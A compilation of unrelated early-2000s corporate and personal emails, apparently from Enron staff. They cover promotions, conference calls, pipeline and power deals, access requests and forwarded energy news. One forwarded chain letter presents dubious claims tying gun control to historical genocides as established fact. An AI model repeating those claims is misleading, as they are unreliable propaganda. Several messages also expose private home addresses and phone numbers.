> > > >>start to wonder whether it's me or something else.
> > > >>
> > > >>I ask him, and he says no. But you know I'm not really sure.
> > > >>So anyway, in the cab back to his house, I say that I love him
> > > >>and he just puts his arm around me. I don't know what the hell
> > > >>this means because you know he doesn't say it back or anything.
> > > >>We finally get back to his place and I'm wondering if he's
> > > >>going to dump me!
> > > >>
> > > >>  So I try to ask him about it but he just switches on the TV.
> > > >>  Reluctantly, I say I'm going to go to sleep. Then, after about
> > > >>  10 minutes, he joins me and we have sex. But, he still seemed
> > > >>  really distracted, so afterwards I just wanted to leave.
> > > >>  I dunno, I just don't know, what he thinks anymore. I mean,
> > > >>  do you think he's met someone else?
> > > >>
> > > >>
> > > >>
> > > >>HIS STORY:
> > > >>
> > > >>Lousy day at work. Tired. Got laid though.
> > >
> > > >
> >

We are pleased to announce the following mid-year promotions.  Typically, we do few to no mid-year promotions, but given the accomplishments of this office over the last few years and the individual contributions that have led to our succes, we feel that these are both well-deserved and appropriate.  Please join us in congratulating the following individuals who were promoted from Manager to Director:

Tom Alonso
Bob Badeer
Mike Etringer
John Malowney

Regards,
Tim Belden and Chris Calger

please put this on my calendar. tx rick

From: 	"Henry Emery" <henry.emery@painewebber.com>@ENRON [mailto:IMCEANOTES-+22Henry+20Emery+22+20+3Chenry+2Eemery+40painewebber+2Ecom+3E+40ENRON@ENRON.com] 
Sent:	Friday, March 09, 2001 9:26 AM
Cc:	Don Bosse (E-mail); Donald Blake (E-mail); Gregory Jones (E-mail); Kenneth Logsdon (E-mail); Kris Tune (E-mail); Patrick Dowd (E-mail); Robert Rathjen (E-mail); Rocky Emery (E-mail); 'Tim Dowd'
Subject:	Mike Ryan/John Bagley Conference Call-Municipal Bond Market Overview

Municipal Bond Overview Conference Call:

Due to the recent volatility in the Stock Markets, we believe that it is of the utmost importance to keep you abreast of  PaineWebber's outlook on the overall Markets. With this in mind, we have arranged an exclusive opportunity for you to get this information straight from UBS/PaineWebber's  analysts via a series of ongoing conference calls set up for your benefit.

On Wednesday, March 14, 2001, you are invited to participate in a conference call with Michael Ryan, Fixed Income Strategist for UBS PaineWebber, and John Bagley, Managing Director of the Municipal Securities Group at UBS PaineWebber. The subject of the call will be Mike Ryan's outlook on the overall municipal bond market, and the impact of President Bush's tax plan. Under Presidents Bush's proposal, the top two marginal rates would be combined into a lower 33% top bracket, while the next two rates would also be consolidated into a single 25% bracket. The 15% bracket would remain intact, but a new 10% bracket would be added. Following is the information you will need to dial into the call:

Telephone#: (800)-450-9667
Confirmation Code: 559005#
Date: 03/14/2001
Time: 10:00am Central Time (11:00am EST, 8:00am PST)
Length: 30 minutes
Title: Mike Ryan Municipal Bond Market Overview

To help ensure the conference begins in a timely manner, please try to dial in 5-10 minutes prior to the start time

Hank Emery
Financial Advisor
Private Client Group
UBS/PaineWebber Incorporated
109 N. Post Oak LN, Suite 150
Houston, TX 77024
713-957-7060

Notice Regarding Entry of Orders and Instructions: Please
do not transmit orders and/or instructions regarding your
PaineWebber account(s) by e-mail. Orders and/or instructions
transmitted by e-mail will not be accepted by PaineWebber and
PaineWebber will not be responsible for carrying out such orders
and/or instructions.  Notice Regarding Privacy and Confidentiality:
PaineWebber reserves the right to monitor and review the content of
all e-mail communications sent and/or received by its employees.

This would be analogous to every time you send me an e-mail, I forward it 
directly to Drew and Maria.  How do you tactfully advise your coworkers about 
corporate etiquette?  I wonder.
On a substantive note, I sincerely believe the analysis MKM wants is beyond 
the scope of this letter, and would have no qualms about sending it.  

Jeffery Fawcett
11/22/2000 08:22 AM
To: Susan Scott/ET&S/Enron@ENRON
cc:  

Subject: Proposal to Caithness Big Sandy

Now do you see why I didn't want to send this to Keith Petersen???  Anytime 
you send anything to Omaha, the MKM cult goes into their Satan worship 
chamber, they sing a few chants, and then sacrifice the good commercial 
effort to the demon regulatory god.  

Jeez, next time I'm gonna just send it out to the customer and ask for 
forgiveness later.

---------------------- Forwarded by Jeffery Fawcett/ET&S/Enron on 11/22/2000 
08:10 AM ---------------------------
   
	From:  Mary Kay Miller                           11/22/2000 08:07 AM
	
To: Keith Petersen/ET&S/Enron@ENRON, Jeffery Fawcett/ET&S/Enron@ENRON
cc: Glen Hass/ET&S/Enron@ENRON, James Centilli/ET&S/Enron@ENRON 

Subject: Re: Proposal to Caithness Big Sandy  

Jeff,  do you have the information for the rate?  We would have to file a 
certificate and the rate would need to be calculated in accordance with the 
standard COS methodology-  I want to make sure that the rate you are planning 
to quote matches what the rate derivation for the filing would be-  avoid a 
potential issue-  maybe James could send us what he did- thanks  MK

Keith Petersen
11/21/2000 04:56 PM
To: Mary Kay Miller/ET&S/Enron@ENRON, Michele Winckowski/ET&S/Enron@ENRON
cc:  

I have not yet reviewed, this is for your information.

Keith

---------------------- Forwarded by Keith Petersen/ET&S/Enron on 11/21/2000 
04:53 PM ---------------------------

11/21/2000 01:17 PM
To: Drew Fossum/ET&S/Enron@ENRON, Steven Harris/ET&S/Enron@ENRON, Kevin 
Hyatt/ET&S/Enron@Enron
cc: Susan Scott/ET&S/Enron@ENRON, Keith Petersen/ET&S/Enron@ENRON, Ronald 
Matthews/ET&S/Enron@ENRON, Rod Hayslett/FGT/Enron@ENRON, James 
Centilli/ET&S/Enron@ENRON 

Attached for your review and comment is a broad outline of a rate proposal to 
Caithness for the construction and operation of the 40-mile lateral to the 
Big Sandy project.  This non-binding proposal was requested by Caithness' 
consultant, George Briden, as a starting point for modeling the economics of 
the project's gas supply and a basis for further discussions aimed at 
designing an appropriate deal structure.  For your information, James 
Centilli calculated the transport rate based on the (+/- 30%) $20.33MM cost 
estimate with a ten-year (contract) amortization.  

I plan to put this in the mail by the close of business tomorrow.  If you 
have any suggestions, please let me hear from you by mid-day.   Thanks.

Please review the attached draft Enron comments in response to the San Diego 
request for natural gas price caps.  The comments reflect Becky Cantrell's 
comments (which are reflected in red line).  Please respond to me as soon as 
possible with your comments, and please pass it on to anyone else who needs 
to see it.

Thanks

Sarah

Graduate Brothers, 
       
      Once again Pig Dinner will be held April 13.  If you have an address change or know someone that does email me or Ryan Czir,  ryanczir@hotmail.com .   
      Today we elected Brett Foltz graduate relations chair.  This is a newly created position in the house because the job used to fall under the pig chair.  So, if you have anything that you would like to see done please contact Brett at brettfoltz5@hotmail.com, or 785 395 0996 x 310.   
      I am doing some revision of the graduate list serve.  If you know of anyone that wants to be added or subtracted please contact me.  Thanks. 
Nick Seglie 
Corresponding

Anita,

There is a delivery nom of 22 @ the above mentioned meter for 1/99 
production.  This is a receipt meter. 

Can you please explain the purpose of this delivery nom being @ this receipt 
meter?  I also have the same situation @ 98-2662 for 1/99.  Also, this 
activity is continuing on into 2/99.

Clem Cernosek expressed that these delivery noms are causing errors on his 
end of the spectrum.

---------------------- Forwarded by Jackie Young/HOU/ECT on 02/04/2000 02:31 

Lauri A Allen
02/04/2000 01:13 PM
To: Jackie Young/HOU/ECT@ECT
cc: Daren J Farmer/HOU/ECT@ECT, Pat Clynes/Corp/Enron@ENRON 
Subject: Meter 9699

Jackie-

I cannot for the life of me remember why this sale deal is in there.  I do 
believe it is valid and is a part of the purchase deal with Tesoro.  Jill 
Zively was the dealmaker and could probably answer your question as could 
George Weissman and Melissa Graves.  You might also check with Anita, the 
allocator, to see the support she gets for the allocation.  This may give you 
some clue as to what this volume represents.  (Let me know, too, since I hate 
forgetting things!!!!)

---------------------- Forwarded by Darron C Giron/HOU/ECT on 06/19/2000 
08:34 AM ---------------------------

"Jim Miller" <jraggie1@pdq.net> on 06/16/2000 02:15:28 PM
To: "Wayne Duncan" <Wayneduncan@hotmail.com>, "Tom Svec" 
<tsvec@generalwelding.com>, "Steve Schmidt" <sschmidt@urjet.net>, "Reid 
Harmon" <reidharmon@compuserve.com>, "Pete Miller" <pmiller@fciconnect.com>, 
"Paul Heidaker" <pheidak@yahoo.com>, "Pat Duncan" <wpduncanjr@aol.com>, 
"Mike. W. Sowden" <Mike.W.Sowden@supervalu.com>, "Mike Vineyard" 
<qcgi@qualitec.com>, "Michael Murr" <Michael.Murr@COMPAQ.com>, "Mcintyre" 
<mcintyre@tca.net>, "Julie Paxton" <JuKaPa129@aol.com>, "John Terry" 
<Tangler@usa.com>, "Jimmy Martin" <Jimmy.Martin@COMPAQ.com>, "Jim Lawler" 
<wb365@email.msn.com>, "Janey Sowden" <janebarb@aol.com>, "Gene Stpierre" 
<Gene.Stpierre@COMPAQ.com>, "Fred Valente" <fvalente@micro.ti.com>, Darron C 
Giron/HOU/ECT@ECT, "Danny A Dequeant" <Danny.Dequeant@cmcsg.com>, "Carla / 
Johnny Preston" <JLCPRESTON@aol.com>, "AKoebig" <AKoebig@aol.com>
cc:  
Subject: FW: 

From: Bob Lanham [mailto:blanham@wbctx.com]
Sent: Friday, June 16, 2000 12:36 PM
To: Vince Wilson; Roger Welsch; Vickie & Dwayne Valencik; Bob Stalcup; Randy
T. Rogers; Murray Ricks; Howard Pebley; Charlie Preslar; Harold Mullen;
James R. Miller; Robert Ligon; Robert C Lanham; Sherie Garrett; Mark Fuller;
Bruce Anderson
Subject:

What to Expect From Gun Control

 these are the facts right out of the history books

 Interesting bit of information.

 "In 1929, the Soviet Union established gun control. From 1929 to

 1953, about 20 million dissidents, unable to defend themselves, were

 rounded up and exterminated.

 "In 1911, Turkey established gun control. From 1915 to 1917, 1.5

 million Armenians, unable to defend themselves, were rounded up and

 exterminated.

 "Germany established gun control in 1938 and from 1939 to 1945, 13 million

 Jews and others who were unable to defend themselves were rounded up and

 "China established gun control in 1935. From 1948 to 1952, 20 million

 political dissidents, unable to defend themselves, were rounded up and

 "Guatemala established gun control in 1964. From 1964 to 1981, 100,000

 Mayan Indians, unable to defend themselves, were rounded up and

 "Uganda established gun control in 1970. From 1971 to 1979, 300,000

 Christians, unable to defend themselves, were rounded up and exterminated.

 "Cambodia established gun control in 1956. From 1975 to 1977, one

 million 'educated' people, unable to defend themselves, were rounded up

and exterminated."

 Defenseless people rounded up and exterminated in the 20th Century

 because of gun control: 56 million.

 The next time someone talks in favor of gun control, ask them "Who do

 YOU want to round up and exterminate?" With guns, we are citizens. Without

 them, we are subjects.

 - att1.htm

---------------------- Forwarded by Judy Hernandez/HOU/ECT on 11/21/2000 
08:04 AM ---------------------------

Daily-Blessings <dailyblessings.10@lists.postmastergeneral.com> on 11/19/2000 
10:47:06 PM
To: judy.hernandez@enron.com
cc:  
Subject: Daily blessings 11/20/00

Daily-Blessing
http://www.daily-blessings.com/bless145.htm

Lord's prayer
http://www.daily-blessings.com/humor53.htm

check out thanksgiving pages...send them on to friends and family to let them 
know you are thankful for them!

http://www.debsfunpages.com/thanksgiving.htm

win a digital camera, $4500.00 or MORE
http://www.daily-blessings.com/4500.htm

FORGET PC PHONE. GET REAL LONG DISTANCE AT NO COST bigredwire is the first 
and only company to offer REAL long distance at no cost
Switch your long distance to bigredwire and get REAL long distance at zero 
cost to you. Up to 100 complimentary minutes everyday when you zap your 
online bill. If you don't zap, pay only 5 cents a minute without fees. Switch 
now!
find out how at http://www.daily-blessings.com/cjbigredwire.htm

Mr Inkman-for all your ink needs
http://www.daily-blessings.com/inkman.htm

OR...

Hi Everyone! 

I moved a few weeks ago and forgot to send around my new contact 
information.  Please note that my email address has changed again a few 
months ago for the 3rd time - so please make sure and use the address 
below - hopefully Morgan Stanley will pick a format and stick with it. 
Hope everyone is well. 

PERSONAL:
3170 N. Sheridan Rd. #1008
Chicago, IL  60657
Home: 773-388-9201
Cell: 773-562-4416

WORK:
Morgan Stanley
Investment Banking - Corporate Finance Execution
440 S. LaSalle, Suite 3700, Chicago, IL 60605
Tel:  312-706-4434  |  Fax:  312-706-4700
Kimberly.Smith@morganstanley.com

----- Forwarded by Elizabeth Sager/HOU/ECT on 08/08/2000 09:30 AM -----

	Mike Curry
	08/07/2000 12:54 PM
		 
		 To: Elizabeth Sager/HOU/ECT@ECT
		 cc: 
		 Subject: wind PPA

Elizabeth,  Here are my comments.  Need you to add an Insurance Section.  
Also, throughout the PPA I asked you to add comments or clarify a few 
sections.  If you can add your comments today, lets meet first thing 
tommorrow to discuss (leave me a message tonight and I will come in early to 
read before we meet).  I didn't bother with the Green Sharing Agreement since 
we have not completed going through it with Wind.

Thanks, - Mike

Thanks to those of you who attended the ENW all-employee meeting today.  It was great to see Brent, Bob and Kevin upfront and center.  All of you must have done a great job in reminding, encouraging, arm-twisting or forcing your teams to attend, because the ballroom was full!  

A morning meeting means that our logistics schedulers can't attend.  So we have reserved EBN 5C2 for Friday, October 12 from 2:00 to 3:00 so that we can show the videos and walk through the slides with the schedulers.  If a few others who missed today's meeting want to join, there should be room.

Thanks for the feedback so far on staff members to participate with Melissa Becker on one of the follow-ups from Causey's offsite - Attracting and Retaining Good People.  If you still have someone from your staff that would like to participate, please send me their names by Tueday next week.  

Golf on Monday, November 19?  Let me know early next week if you would like for a foursome from your team (could certainly include you!) to play in the afternoon tournament at Raveneaux Country Club.  If you have some team members who have worked hard on a project or put in some unusually long hours for you, this could be a nice reward.  Did I mention that David is in charge of this tournament?  

I will be out of the office on Monday, October 8.  Meagan and I will be in Dallas for Mustang Monday at SMU.  I hope that the streets will be ORANGE when I get there.  I will have my cell phone with me, if anything critical comes up.  I will be back in the office on Tuesday.  Have a great weekend!  --Sally 

---------------------- Forwarded by Eric Bass/HOU/ECT on 04/02/2001 10:18 AM ---------------------------
   
	  From:  Julie Brewer @ ENRON                           04/02/2001 09:58 AM	
		
To:	Kam Keiser/HOU/ECT@ECT, Victor Guggenheim/HOU/ECT@ECT, Phillip M Love/HOU/ECT@ECT, Sandy Olitsky/HOU/ECT@ECT, Jeffrey C Gossett/HOU/ECT@ECT, Susan M Scott/HOU/ECT@ECT, Janie Aguayo/HOU/ECT@ECT, Larry Joe Hunter/HOU/ECT@ECT, Kim S Theriot/HOU/ECT@ECT, Kara L Boudreau/HOU/ECT, Jean Bell/HOU/ECT@ECT, Jeff Royed/Corp/Enron@ENRON, Anne Bike/Corp/Enron@Enron, Errol McLaughlin/Corp/Enron@ENRON, Laura Vargas/Corp/Enron@ENRON, Luchas Johnson/NA/Enron@Enron, Sherry Dawson/NA/Enron@Enron, Derek Bailey/Corp/Enron@ENRON, Ellen Wallumrod/NA/Enron@ENRON, Michelle Nelson/Corp/Enron, Stewart Range/NA/Enron, Shifali Sharma/NA/Enron, Keynan Dutton/NA/Enron, Carole Frank/NA/Enron@ENRON, Bruce Mills/Corp/Enron@ENRON, Veronica Hill/NA/Enron, Bianca Ornelas/NA/Enron@Enron, George Huan/NA/Enron, Amy Cavazos/NA/Enron@ENRON, Elizabeth Shim/Corp/Enron@ENRON, Ryan O'Rourke/ENRON@enronXgate, Eric Bass/HOU/ECT@ECT
cc:	Larry Joe Hunter/HOU/ECT@ECT, Janie Aguayo/HOU/ECT@ECT, Diane Anderson/NA/Enron@Enron, Bianca Ornelas/NA/Enron@Enron, Richard Deming/NA/Enron@Enron, Ellen Wallumrod/NA/Enron@ENRON 
Subject:	Rebooks

If your name is in the right hand column, please rebook as indicated by credit.

Per Lisa Yoho and Linda Robertson's request, I've scheduled a conference call for Tuesday, September 11 at 3:00 p.m. CST to discuss MTR and the Bingaman Bill. 
The toll free numbers are listed below. Please let me know if you will not be able to participate. 
DATE: Tuesday, September 11 
TIME: 3:00 P.M. CST (9:00 P.M. London time) 
TOLL FREE: 1-800-998-2462 for Houston and Washington participants 
703-736-7230 for London participant 
PASS CODE: 5522210 
Geriann Warner 
Global Government Affairs
EB 4740C 
713.853.5036 - Phone 
713.853.7297- Fax

OK

Information Risk Management
06/21/2000 10:57 AM
To: Stinson Gibner/HOU/ECT@ECT, Vince J Kaminski/HOU/ECT@ECT
cc:  
Subject: Bani Arora

Please approve Bani Arora's request for the following restricted directory - 
o:\research

Thank you,
Information Risk Management (et)
---------------------- Forwarded by Information Risk Management/HOU/ECT on 
06/21/2000 10:57 AM ---------------------------

	 Security Resource Request System				Pending Security Processing
 Resource Request					How to process a request...
	General Information		Initials: 		
	     				
Requestor:	Bani Arora/HOU/EES	Phone:	30566		
Requested For:		Bani Arora/HOU/EES			
Request Type:	Update Access				
RC #:	2883	WO #:			
Company #:	985	Priority:	Normal		
					
Location:			Houston		1. Click  to see what is being requested or see the Resource 
Request(s) section below.
					2. Click  to process the request.
					
Comments:
					Request #: BARA-4LHLJX
					Submitted: 06/21/2000 10:51:44 AM

	Name	Cost	Status	Implementation Comments	
					
	Directory/Resource/Other				
	o:\research\		Not Started		

	Request Processing Path                 		
Processed By	Status	When	Comments

	Security			
				
	Implementation			

	Other Security Information                               		
Req's Location:			
Network Login ID:		UNIX Login ID:	

		Editing History (Only the last five (5) are shown)	
			
Edit #	Past Authors	Edit Dates	
1
2	Bani Arora
Bani Arora 	06/21/2000 10:51:42 AM
06/21/2000 10:51:44 AM 	

i am in, we had a great time.

From: 	Thames, Davis  
Sent:	Tuesday, November 27, 2001 1:27 PM
To:	Mckay, Brad
Subject:	conf call

thursday 4:45p.  let me know if you have a conflict, there will be a callin number.
hope your thanksgiving went well, we had a great trip to all the parent's farms.  pretty ridiculous.
hdt

Please print and file tx rick
---------------------- Forwarded by Rick Buy/HOU/ECT on 01/30/2001 09:45 AM 
   
	From:  Sheila Walton                           01/30/2001 09:05 AM
	
To: Rick Buy/HOU/ECT@ECT
cc:  
Subject: RE: Investigation Research

For your peace of mind.

sheila 
---------------------- Forwarded by Sheila Walton/HOU/ECT on 01/30/2001 09:03 
From: Robert Howes/ENRON@enronXgate on 01/30/2001 08:27 AM
To: Sheila Walton/HOU/ECT@ECT
cc: Roberto Deleon/ENRON@enronXgate, Matthew Ahern/ENRON@enronXgate 

We will save this for our records.
Thanks,
Robert Howes
Sr. Security Specialist
IT Security and Controls
Work 713-345-3423
Fax     713-646-3010
Email             mailto:Robert.Howes@Enron.com
2Way Pager mailto:roberthowes@pagenetips.com

From:  Walton, Sheila  
Sent: Tuesday, January 30, 2001 12:31 AM
To: Howes, Robert; Ahern, Matthew
Cc: Deleon, Roberto; Buy, Rick
Subject: Investigation Research
Sensitivity: Confidential

Rick Buy, the Business Unit Head for the RAC group, and I logged onto his 
computer on Friday, January 26, 2001 to review information for an 
investigation on one of his employees.  We logged on at 3:01 PM and logged 
off at 3:15 PM.  Please make certain that the records reflect this 
investigative effort so Mr. Buy's name does not come up in a random search 
for accessing inappropriate websites.  If you have any questions, please call 
me at Ext 30649. Thank you. 

Sheila Walton
HR Director

Stinson,

Please, check with Ravi. We are under a lot of pressure to keep the numbers 
down but maybe we can 
justify one more person.

Vince

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 04/05/2000 
02:43 PM ---------------------------

Phil Sisneros@ENRON COMMUNICATIONS
04/05/2000 10:53 AM
cc:  
Subject: 

The conference looks great--i appreciate the invite.  I know you have to 
restrict the attendance list but have you thought about inviting Merat Bagha.

Attached please find a copy of the above-referenced agreement blacklined to 
show changes to the Energy Argus Agreement.  Please call me with your 
comments.  I did not know the name of the publication.  Please pay special 
attention to the reps and warranties.

Jason

I am sending a worksheet to legal that should be used in the preparation of 
language to include within this confirmation.

thanks for the catch.
brant

	From:  Larry Joe Hunter                           10/06/2000 02:06 PM
	
cc:  
Subject: Re: Trifinery Petroleum - Q27888 and Q27916  

Hey,

We're also buying the calls?

Joe

Brant Reves
10/06/2000 01:42 PM
To: Larry Joe Hunter/HOU/ECT@ECT, Nidia Mendoza/HOU/ECT@ECT, Russell 
Diamond/HOU/ECT@ECT
cc:  

please confirm without further delay from credit.  we are selling puts.  this 
is ok with me.

thanks
brant

	From:  Larry Joe Hunter                           10/06/2000 01:31 PM
	
To: Russell Diamond/HOU/ECT@ECT, Molly Harris/HOU/ECT@ECT, Brant 
Reves/HOU/ECT@ECT, Nidia Mendoza/HOU/ECT@ECT, John Suttle/HOU/ECT@ECT, 
Veronica Espinoza/Corp/Enron@ENRON, Brad Schneider/Corp/Enron@Enron, Bradley 
Diebner/HOU/ECT@ECT, Wendi LeBrocq/Corp/Enron@Enron, Lesli 
Campbell/HOU/ECT@ECT
cc:  
Subject: Trifinery Petroleum - Q27888 and Q27916

Brant/Russell/Nidia...

Deals Q27888 and Q27916 have a Trade Date in TAGG of 10/6, yet they were 
actually traded on 10/4.  Can you take a look at these and let me know if 
they're ok to send out.  Together, they are a costless Collar.

Thanks,
Joe

Please see attached speaking points.  African-American points on page 2.
?
--Dave
 - Arena Agreement Fact Sheet.doc

Susan:  As a result of our last meeting, please contact the counterparties on 
the following agreements for status update:

(1) Reliant Energy Services, Inc./ENA (don't worry about Reliant Energy 
Services Canada Ltd. for now; we'll dupe)

(2) Occidental Energy Marketing, Inc.

(3) MP Energy Partnership

(4) Stone Container Corporation

The following is a draft agenda for the meeting in St. Louis  on May 31:
?
1.? Provisions or changes to address governmental  actions.
2.? Products-Additional products; Cal ISO  definition.
3.? Indemnification
4.? Floating price language
5.? Collateral-Security interest language
6.? Offsets involving all agreements between the parties  in the event of a 
default.
7.? Clarifications re offsets.
8.? Master netting agreement.
9.? Suspension in event of non-performance.
10.? Market price calculation clarification
11.? Choice of law
12.? Form of credit support annex
?
If you have other issues, please let me know ASAP for a final  agenda.

Oil companies say North Slope gas pipeline too pricey
09/27/2001
Associated Press Newswires 

INDIA: State-run Indian firms don't want Enron's assets.

The Hindu-Editorial: Muddying a quagmire
The Hindu

Wood Signals That El Paso's FR Contracts Are High on Agenda 
NGI's Daily Gas Price Index 
published : September 28, 2001

Williston Basin Interstate Pipeline Company Building New Pipeline
09/27/2001 
---------------------------------------------------------------

Copyright 2001. The Associated Press. All Rights Reserved. 

ANCHORAGE (AP) - Oil companies looking into the feasibility of building a natural gas pipeline from Alaska's North Slope to the Lower 48 say the project is too pricey. 
A preliminary analysis of the proposed project by Exxon Mobil, BP and Phillips Petroleum shows that the pipeline project would not provide them with what they want; a 15 percent return on their money.
The project works out to a 10 percent to 11 percent rate of return. 
"We see this as a very high risk project," Robbie Schilhab of Exxon Mobil told Gov. Tony Knowles' natural gas development team meeting this week in Anchorage. 
Schilhab and Phillips Petroleum's Joe Marushack presented their preliminary conclusions at a task force meeting. 
Whether the pipeline runs north through the Arctic Ocean to Canada's Mackenzie River delta or south along the Alaska Highway through Canada to the Lower 48, the answer is the same: for now, the project looks too expensive for Alaska's oil companies to undertake. 
For both the northern Arctic route and the southern Alaska Highway route, the costs would be huge: $15.1 billion for the offshore route and $17.2 billion for the highway route. 
"I think this could be made attractive to a number of investors," said Ken Thompson, a former oil company executive who sits on the governors' natural gas team. Thompson said that tax incentives, a lower return on investment and a higher value for liquid natural gas from the pipe would make the project a worthwhile investment. 
If the oil companies are not interested, natural gas transportation companies such as Williams, El Paso or Enron might be, Thompson said. 
Exxon, Phillips and BP are still refining their analysis of the project. But the two executives made clear that they consider the project a long shot both for its high costs and high risks. 
Schilhab said that opportunity remained to make the project an attractive investment by cutting construction costs. The companies also want to streamline the permitting process to avoid delays. 
The presentation dented but did not destroy the optimism of the governor's gas council. 
"I don't like seeing the number. But it's a lot different from saying no way, no how, we're shutting our doors and going home," said Pat Pourchot, state commissioner of natural resources. Pourchot said that the producers' position underlined the need for incentives like federal tax breaks similar to those being proposed by the Knowles administration. 
Exxon, BP and Phillips are split on the incentives. To address the risk of low prices, Phillips wants a tax credit if prices fall below a certain level. BP and Exxon say they want a project that is viable without tax breaks. 
Federal legislation is slated for consideration next week in Washington, D.C.

Reuters English News Service 
(C) Reuters Limited 2001. 

NEW DELHI, Sept 27 (Reuters) - Leading state-run firms have rejected proposals from financial institutions to acquire assets of U.S. energy firm Enron's Dabhol Power Co, officials said on Thursday. 
Enron wants to sell its 65-percent stake in Dabhol Power Co which is embroiled in a payments dispute with a local utility.
Officials said some financial institutions had suggested National Thermal Power Corporation (NTPC), Oil and Natural Gas Corp and Gas Authority of India Ltd could buy the troubled Dabhol Power Co's assets. 
NTPC Chairman C.P. Jain told reporters the company had written to the federal government that it was not interested in the project. "We don't think it is a commercially viable proposition for the organisation." 
Officials said financial institutions had also proposed that ONGC and GAIL could buy the LNG import and regasification facilities of the Dabhol plant south of Bombay. 
ONGC Chairman Subir Raha said ONGC was not interested. "Right now it is not on our table. We are not considering it," he told reporters. 
Dabhol's first phase has a generating capacity of 740 MW. It has been idling since May when Maharashtra State Electricity Board (MSEB), its only customer, stopped buying power saying it was too costly and that Enron had violated a part of the contract. 
Dabhol's second phase was 97 percent complete when further construction was stopped because of the dispute. 
The first phase used naphtha as fuel, but the second phase, that will have a generating capacity of 1,444 MW, will use LNG as fuel.

The Hindu 
Fin. Times Info Ltd-Asia Africa Intel Wire. The Hindu Copyright (C) 2001 Kasturi & Sons Ltd. All Rights Res'd 

ANY FAINT HOPES about the murky Dabhol Power Project crisis being sorted out by the contracting parties - the Enron Corporation, the Maharashtra State Electricity Board (MSEB), the State Government and the Centre which provided the sovereign guarantee in favour of Dabhol Power Company - now appear to have been ruined by the Maharashtra Government's resort to "the theatre of the absurd". 
The decision of the Vilasrao Deshmukh Government to have a judicial probe into the entire Enron deal abinitio is not a mere exercise in evasion of the responsibility of the State Government to strive for a process of renegotiation of the contract perceived to be loaded against the virtually bankrupt MSEB (which is unable to pay for power purchased from the Dabhol Plant-Phase I); what is involved is a brazen blackmailing strategy through which the State Government perhaps hopes to drive the Enron Corporation down to its knees to settle for an exit course at a substantial discount on its equity stake, estimated at $1.2 billion. The Centre is not blissfully unaware that its own obligation as a surety for the State Government is now seen as an empty promise with all its pervasive adverse image of the country as an undependable and vulnerable investment destination.
The reported remark of the Union Minister for Power, Mr. Suresh Prabhu, that the new twist to the Enron tangle is "unfortunate" but that it would not affect foreign investments in the future, in the power sector in India, is indeed adding insult to injury. 
The script, as it is unfolding in the Enron muddle, can leave nobody in doubt that from the very beginning the contract has had a large element of political manipulation driving it. The allegation that the Enron Corporation was able to manoeuvre itself into a power purchase agreement which was decidedly exhorbitant in power tariff owing to the "padding" of capital cost and the denomination of tariffs in U.S. dollar terms (apart from the use of naptha as feedstock) is said to have been corroborated by the Madhav Godbole Renegotiation Committee set up by the State Government. Assuming that a whole chain of bureaucratic scrutiny from the Power Ministry at the Centre down to the MSEB, over a four-year period, did not unravel the odious features of the Enron contract, how does it exonerate the MSEB, the State Government and the Centre now, from non-compliance with the contract in its different stages? 
Political muck-raking, which is what is now being sought to be substituted by the Vilasrao Deshmukh Government (with the tacit approval of the Congress High Command) for an honourable modusvivendi on the Enron imbroglio, can never pass muster so long as the arbitration clause in the Enron contract cannot be wished away. It would indeed be a reckless misadventure for the Vajpayee Government to let the Maharashtra Government renege on the power purchase agreement with the Dabhol company and simply watch the disintegration of India's first-ever and much-vaunted mega power plant put up on the basis of foreign investment. Given the deplorable inadequacies in the power infrastructure in the country even after ten years of liberalisation and the demonstrated incapacity to add even 5000 MW of power generation capacity a year, it would be utter folly to abandon the Dabhol project without its full capacity of around 2000 MW being leveraged for the industrial advancement of the country. 
Reports indicate that the U.S.-based Enron Corporation has expressed a desire to quit from the Dabhol project. The Indian financial institutions which have a substantial exposure to the capital cost of the project cannot afford to wait in supplication for some miracle to happen for the Dabhol project to stay afloat. It is no less a challenge to them as to the Vajpayee Government to find a way out of the morass. Let the project be revived as an earnest of India's commitment to development rather than be rubbished as a monument of political corruption.

FERC denied rehearing of a June order that permits Arizona Public Service Co. to assign its full-requirements (FR) capacity contract on El Paso Natural Gas to affiliate Pinnacle West Energy to serve a new gas-fired generation facility that it is building in Arizona. On the surface, it seemed a clear victory for the companies involved. However, Chairman Pat Wood made it very clear that he has concerns about FR service on El Paso, which entitles customers to unlimited capacity at frozen rates, and that he plans to take up the issue at a later date. 
"I will reluctantly go along with the order denying rehearing, but [I] look forward very aggressively to a forum in which we can address the capacity concerns" on El Paso, Wood said Wednesday during a marathon Commission meeting, the first over which he presided [CP01-90, RP00-336]. The proper forum for discussion of the FR service will be El Paso's Order 637 proceeding, he noted. 
As a lawyer, "it's hard for me...to find an excuse to grant rehearing here. Because this is not the appropriate docket to do that, I will concede that after four months of being browbeat into submission...that sometimes you ought to fold up," Wood said. "But I remain concerned about the [interplay] on the pipeline that if we don't engage in some long-term planning," the situation could "lead to a bedsore for the customers out there in the Southwest." 
The new chairman made clear that he was not "a fan or supporter of 10-year rate freezes or any extended rate freezes" that are made available to certain FR customers. "I understand that there's a tremendous disincentive here because of that for needed expansions to occur," Wood noted. 
He openly invited parties to challenge at the Commission the limits of FR service. He noted that FR customers "seem to have an unbounded upper-end, which I would love the opportunity to [address] if we ever get a contested pleading to define exactly just how full full-requirements can be." 
The "interplay" of frozen rates and unlimited access to pipeline capacity in a "growth part of the country that needs to have generation [makes for] a very complicated pipeline scenario," Wood said. 
In the June order, FERC gave the go-ahead for El Paso to construct and operate two delivery points and about six miles of lateral pipeline to provide service to the proposed gas-fired electric generation facilities of Pinnacle West and Duke Energy Maricopa LLC in Maricopa County, AZ. Pinnacle's 2,120 MW Redhawk power plant will require about 410 MMcf/d of gas, while Duke's 1,000 MW Arlington Valley plant will burn 210 MMcf/d. Both plants have scheduled in-service dates of June 1, 2002. 
Major producers and other El Paso shippers attacked El Paso's plan to provide FR service of 410 MMcf/d to the Redhawk plant, arguing that the service would further constrain an already capacity-tight El Paso system. Specifically, they objected to El Paso's plan to assign the FR contract (66,042 MMBtu/d) of Arizona Public Service to affiliate Pinnacle West Energy, as well as give a "huge increase" in the contract amount in order to serve the Redhawk plant. The protestors further argued that the plan would give Pinnacle West Energy a competitive rate advantage over existing contract-demand customers on the pipeline. 

Business Wire 
(Copyright (c) 2001, Business Wire) 
BISMARCK, N.D.--(BUSINESS WIRE)--Sept. 27, 2001--Calling it the "largest pipeline construction project in company history," executives from Williston Basin Interstate Pipeline Company announced today their intent to file for federal regulatory approval to construct 245 miles of 16-inch natural gas pipeline spanning sections of Wyoming, Montana and North Dakota. 
